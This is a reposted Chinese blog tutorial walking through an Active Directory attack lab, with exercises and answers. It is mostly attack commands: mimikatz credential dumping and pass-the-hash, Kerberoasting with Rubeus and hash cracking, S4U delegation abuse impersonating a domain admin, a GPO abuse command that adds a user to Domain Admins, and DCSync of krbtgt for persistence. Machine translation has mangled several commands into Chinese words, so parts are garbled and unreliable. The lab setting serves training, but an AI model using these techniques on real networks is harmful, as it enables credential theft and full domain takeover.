Active-Directory-Security-101 手册 - 渗透测试中心
2021-11-24 17:00:00 Author: www.cnblogs.com(查看原文) 阅读量:66 收藏

后置知识

刚入门的小伙伴京东或者淘宝买这本书可以去看看

Windows Server 2012 R2系统配置指南_戴有伟编着

文章是根据https://github.com/cfalta/adse c改编的。

环境搭建

https://github.com/cfalta/adsec/tree/main/lab-setup

  • DC-Windows 2019
  • 用户杰克-Windows 2019
  • SqlServer-Windows 2019

配置域控

  • 关闭防火墙
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
  • 关闭Windows Defender
卸载-WindowsFeature -Name Windows-Defender
安装-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

重启之后继续执行。重启后执行这个文件功能就是根据json文件去自动添加用户和组等等。
图像.png

图像.png

图像.png
图像.png

图像.png
图像.png

配置域内机

在两台成员机器上使用以下两个域账号注册


user1这台用john认证user2机器用blee登录
图像.png

攻击机器准备

用john登录user1这台机器,当做点,再分配一张网卡,让他出网。
默认工具包下载地址
https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools

猎犬安装及配置

谷歌一下

信息收集


导入电源模块

cd C: \a ttacker-tools
cat -raw " .\PowerView.ps1 "  | 交换器

获取当前域的基本信息和域控位置

图像.png
查看有多少电脑和域内用户

过滤出域管出来

获取域用户|  ? { $_ .memberof -like " *域管理员* " }

获取域用户|  ? { $_ .memberof -like " *域管理员* " } |  选择 相同的帐户名

图像.png
图像.png

课后习题

参考答案我会选择最后面哦

  1. 域里有多少台计算机以及它们在什么上面运行?
  2. 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。
  3. 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
  4. 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?
  5. 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。

NTLM的利用

  • 模仿
  • psexec

需要管理员权限,使用本地管理员用户登录

特权::调试
令牌::提升
lsadump::sam

获得到管理员哈希
7dfa0531d73101ca080c7379a9bff1c7 pth 攻击
图像.png

sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab

图像.png

图像.png

课后习题

  1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
  2. 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
  3. 如何解决 PTH 问题,请讲清楚原因。
  4. 是否有可能(可能会)完全不是NTLM?解释你的理由。

Kerberos-烘焙

预习资料网络——AS-REP Roasting
加载插件

cd C: \a ttacker-tools
猫生的。\ PowerView.ps1 | 交换器
猫生的。\I nvoke-Rubeus.ps1 | 交换器

查询SPN,获得服务用户

获取域用户-SPN |  选择 samaccountname、 description、pwdlastset、serviceprincipalname

图像.png

Rubeus 有一个统计 kerberos 数据的功能

Invoke-Rubeus -Command " kerberoast /stats "

获取目标账户的TGS

Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "

这里的脚本是base64之后通过powershell内存加载
图像.png

函数 调用-Rubeus([string]$Command)
{
$Message = " base64 " ;

$Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message ))
[Rubeus.Program]::Main( $Command .Split( "  " ))
}

图像.png

破解TGS

. \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2

图像.png

课后习题

  1. 描述一下您认为最好的缓解技术,并解释其原因。
  2. 还有一个用户会受到 ASREP 的影响,请找出来。
  3. 解释一下TGS vs. ASREP烘焙

Kerberos(委托)

之前设置的时候改json里面的数据,没有域改了委派用户
图像.png

Get-DomainUser -TrustedToAuth

视委派的目标

Get-DomainUser -TrustedToAuth |  选择 -ExpandProperty msds-allowedtodelegateto

图像.png
执行这个攻击的条件就是要知道用户的密码才行
生成hash

Invoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 "

图像.png

Rubeus 允许在新的登录会话中启动 powershell。只有在这个时候我们即将的票证会话中,不会干扰用户john 已经的kerboers 票证。使用s4u 请求一个TGS 模拟域管理用户Bruce(bwillis) )攻击user1。我们请求3个不同服务的票证CIFS将用于SMB访问HOST/ RPCS for WMI
图像.png

调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT 
调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT 
调用-鲁伯-Command  S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT 

图像.png

查看检查的报告自己前面
我设置错了,委派的目标应该设置成user2,user1 是,但都一样。
图像.png

ls \\ user1.wing.lab \C $

通过wmi控制user1

Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com

课后习题

  1. 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组
  2. 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用”

ACL攻击

信息收集

猫生的。\S harpound.ps1 | 交换器
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
  • CollectionMethod Dc只表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是流量正常。
  • Stealth单线程启动。速度较慢,但安全。
  • PrettyJson 格式化.json文件。
  • NoSaveCache 不保存保存文件。

图像.png

先把service1标记为已陷陷点这里点击这里用户对域控的组策略有可访问权限,通过组策略利用,攻击DC需要先以service1的身份登录
图像.png

图像.png

图像.png

runas /user:wing.lab \s ervice1 powershell
. \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName 默认域控制器策略 --force

图像.png
图像.png

写完以后,等管理员更新组策略才有可能触发。
手工弄弄。提权成功登陆到域控。
图像.png

图像.png

图像.png

课后习题

  • acl 攻击有哪些利用工具?

权限维持

权限维持的东西比较多

  • 金银笔记本
  • 后门
  • 等等等等


一般DC权限就先执行

lsadump::dcsync /user:krbtgt

所有收到用户hash,也可以作为后门。

课后习题

  • 自主学习这些权限维持方法的原理。

参考答案

我做的特别对,有错误请留言。

信息收集

powerview3.0 技巧
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

  1. 域里有多少台计算机以及它们在什么上面运行?

图像.png

  1. 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。

图像.png

  1. 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。
Get-DomainGroupMember -Identity 域管理员 -Recurse

图像.png

  1. 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?

图像.png

  1. 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。
获取域用户-SPN | 选择 serviceprincipalname,userprincipalname,pwdlastset,lastlogon

图像.png

NTLM

猕猴桃命令大全

  1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
privilege::debug - 提升为管理员权限
token::elevate - 奖励奖励,获得其他用户的奖励系统权限
  1. 以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。
lsadump::dcsync /domain:wing.lab /user:bruce

转储所有数据
lsadump::dcsync /domain:wing.lab /all /csv
  1. 如何解决 PTH 问题,请讲清楚原因。
  • 打上打kb2871997禁止并且SID=500的管理员用户
  • 监控日志
  1. 是否有可能(可能会)完全不是NTLM?解释你的理由。
  • 审查收到的 NTLM 调查:允许对所有帐户的审查
  • 仅发送NTLMv2响应。

第四点我不太确定。

Kerberos(烘焙)

  1. 描述一下您认为最好的缓解技术,并解释其原因。
  • 禁止用户开启Do not require Kerberos preauthentication
  • 禁止弱口令
  1. 还有一个用户会受到 ASREP 的影响,请找出来。

Get-DomainUser -PreauthNotRequired -Verbose

  1. 解释一下TGS vs. ASREP烘焙

https://www.4hou.com/posts/YVyM

Kerberos(委托)

  1. 在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组:
  • psexec
wmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "
  1. 试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用?”

可以攻击域控

访问控制列表

acl 攻击有哪些利用工具?

  • github.com

权限维持


文章来源: http://www.cnblogs.com/backlion/p/15598524.html
如有侵权请联系:admin#unsafe.sh